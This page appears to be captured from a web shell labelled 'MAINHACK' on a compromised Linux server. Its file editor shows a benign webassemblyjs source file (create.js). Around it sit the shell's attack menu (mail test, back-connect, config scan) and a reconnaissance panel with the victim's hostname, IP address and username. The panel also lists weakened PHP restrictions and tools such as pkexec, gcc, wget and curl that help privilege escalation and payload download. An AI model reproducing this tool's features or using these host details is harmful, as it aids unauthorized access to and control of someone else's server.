[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: create.js
function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } import { encodeNode } from "@webassemblyjs/wasm-gen"; import { overrideBytesInBuffer } from "@webassemblyjs/helper-buffer"; import constants from "@webassemblyjs/helper-wasm-bytecode"; import * as t from "@webassemblyjs/ast"; function findLastSection(ast, forSection) { var targetSectionId = constants.sections[forSection]; // $FlowIgnore: metadata can not be empty var moduleSections = ast.body[0].metadata.sections; var lastSection; var lastId = 0; for (var i = 0, len = moduleSections.length; i < len; i++) { var section = moduleSections[i]; // Ignore custom section since they can actually occur everywhere if (section.section === "custom") { continue; } var sectionId = constants.sections[section.section]; if (targetSectionId > lastId && targetSectionId < sectionId) { return lastSection; } lastId = sectionId; lastSection = section; } return lastSection; } export function createEmptySection(ast, uint8Buffer, section) { // previous section after which we are going to insert our section var lastSection = findLastSection(ast, section); var start, end; /** * It's the first section */ if (lastSection == null || lastSection.section === "custom") { start = 8 /* wasm header size */ ; end = start; } else { start = lastSection.startOffset + lastSection.size.value + 1; end = start; } // section id start += 1; var sizeStartLoc = { line: -1, column: start }; var sizeEndLoc = { line: -1, column: start + 1 }; // 1 byte for the empty vector var size = t.withLoc(t.numberLiteralFromRaw(1), sizeEndLoc, sizeStartLoc); var vectorOfSizeStartLoc = { line: -1, column: sizeEndLoc.column }; var vectorOfSizeEndLoc = { line: -1, column: sizeEndLoc.column + 1 }; var vectorOfSize = t.withLoc(t.numberLiteralFromRaw(0), vectorOfSizeEndLoc, vectorOfSizeStartLoc); var sectionMetadata = t.sectionMetadata(section, start, size, vectorOfSize); var sectionBytes = encodeNode(sectionMetadata); uint8Buffer = overrideBytesInBuffer(uint8Buffer, start - 1, end, sectionBytes); // Add section into the AST for later lookups if (_typeof(ast.body[0].metadata) === "object") { // $FlowIgnore: metadata can not be empty ast.body[0].metadata.sections.push(sectionMetadata); t.sortSectionMetadata(ast.body[0]); } /** * Update AST */ // Once we hit our section every that is after needs to be shifted by the delta var deltaBytes = +sectionBytes.length; var encounteredSection = false; t.traverse(ast, { SectionMetadata: function SectionMetadata(path) { if (path.node.section === section) { encounteredSection = true; return; } if (encounteredSection === true) { t.shiftSection(ast, path.node, deltaBytes); } } }); return { uint8Buffer: uint8Buffer, sectionMetadata: sectionMetadata }; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.51 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002